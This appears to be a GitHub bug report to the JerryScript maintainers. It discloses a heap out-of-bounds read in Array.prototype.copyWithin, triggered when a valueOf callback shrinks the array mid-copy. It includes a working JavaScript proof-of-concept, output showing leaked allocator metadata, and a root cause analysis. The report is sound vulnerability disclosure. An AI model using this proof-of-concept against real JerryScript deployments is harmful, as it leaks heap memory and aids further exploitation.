Skip to content

Heap OOB Read in Array.prototype.copyWithin via TOCTOU #5282

@hkbinbin

Description

@hkbinbin

The fast-path in Array.prototype.copyWithin only validates the target range after a potential re-entrancy via end.valueOf(), but does not validate the source range. When end.valueOf() shrinks the array, the source indices start..start+count-1 extend past the reallocated buffer, causing a heap out-of-bounds read.

JerryScript revision

b706935

Build platform

macOS 26.2 (Darwin 25.2.0 arm64)

Build steps
python3 tools/build.py --clean
Test case
var N = 100;
var arr = new Array(N);
for (var i = 0; i < N; i++) arr[i] = 0xAA00 + i;

arr.copyWithin(0, 50, {
  valueOf: function() {
    arr.length = 60;   // shrink buffer: 104→64 aligned ecma_value_t slots
    return N;          // end = original length → stale source range
  }
});

// arr[0..9]:   buffer[50..59] — in-bounds copy (normal)
// arr[10..13]: buffer[60..63] — ARRAY_HOLE padding (within aligned buffer)
// arr[14..49]: buffer[64..99] — OOB! Reading freed heap memory (36 slots)

for (var i = 0; i < 20; i++) {
  print("arr[" + i + "] typeof=" + typeof arr[i]);
}
Output
arr[0] typeof=number
arr[1] typeof=number
arr[2] typeof=number
arr[3] typeof=number
arr[4] typeof=number
arr[5] typeof=number
arr[6] typeof=number
arr[7] typeof=number
arr[8] typeof=number
arr[9] typeof=number
arr[10] typeof=undefined
arr[11] typeof=undefined
arr[12] typeof=undefined
arr[13] typeof=undefined
arr[14] typeof=object
arr[15] typeof=number
arr[16] typeof=number
arr[17] typeof=number
arr[18] typeof=number
arr[19] typeof=number

Elements at indices 14–49 contain data read from beyond the allocated fast-array buffer — jmem_heap_free_t allocator metadata (free list next_offset and block size fields) and stale unzeroed heap data are leaked into the JavaScript-visible array.

  • arr[14] = jmem_heap_free_t.next_offset (typically 0xFFFFFFFF = end-of-list marker, decodes as typeof === "object")
  • arr[15] = jmem_heap_free_t.size (free block size in bytes, also decodes as typeof === "object")
  • arr[16..49] = stale data: original array values that persist in freed memory (allocator does not zero freed blocks)
Expected behavior

As it reduces array length to 60, the output array[10..20] should be undefined instead of heap metadata.

Root cause analysis

In ecma-builtin-array-prototype.c, the copyWithin implementation:

  1. Line ~2810: The dispatcher captures len = 100 (the array length) before entering copyWithin. This value is passed as a parameter and never refreshed.
  2. Line ~2340: end.valueOf() callback runs — user code sets arr.length = 60, which triggers jmem_heap_realloc_block to shrink the underlying fast-array buffer from 416 → 256 bytes (104 → 64 aligned slots). The freed tail (160 bytes) is returned to the jmem free list.
  3. Line ~2356: count = min(end - start, len - target) = min(100 - 50, 100 - 0) = 50 — computed from stale len, not the actual post-shrink length.
  4. Line ~2377: Fast-path bounds check validates target + count - 1 >= ext_obj_p->u.array.length. With target=0, count=50, actual_length=64: 0 + 50 - 1 = 49 < 64passes.
  5. No check on source: start + count - 1 = 50 + 50 - 1 = 99 >= 64 — the source range overflows the buffer by 36 slots. There is no validation for this.
  6. Line ~2386: ecma_copy_value_if_not_object(buffer_p[start + k]) reads 36 ecma_value_t slots (144 bytes) from freed heap memory.

The OOB read is constrained to the freed tail of the original buffer allocation (slots 64–99), which contains jmem_heap_free_t metadata followed by stale data. If the freed region is reused by another allocation before copyWithin completes, cross-object data would be leaked.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions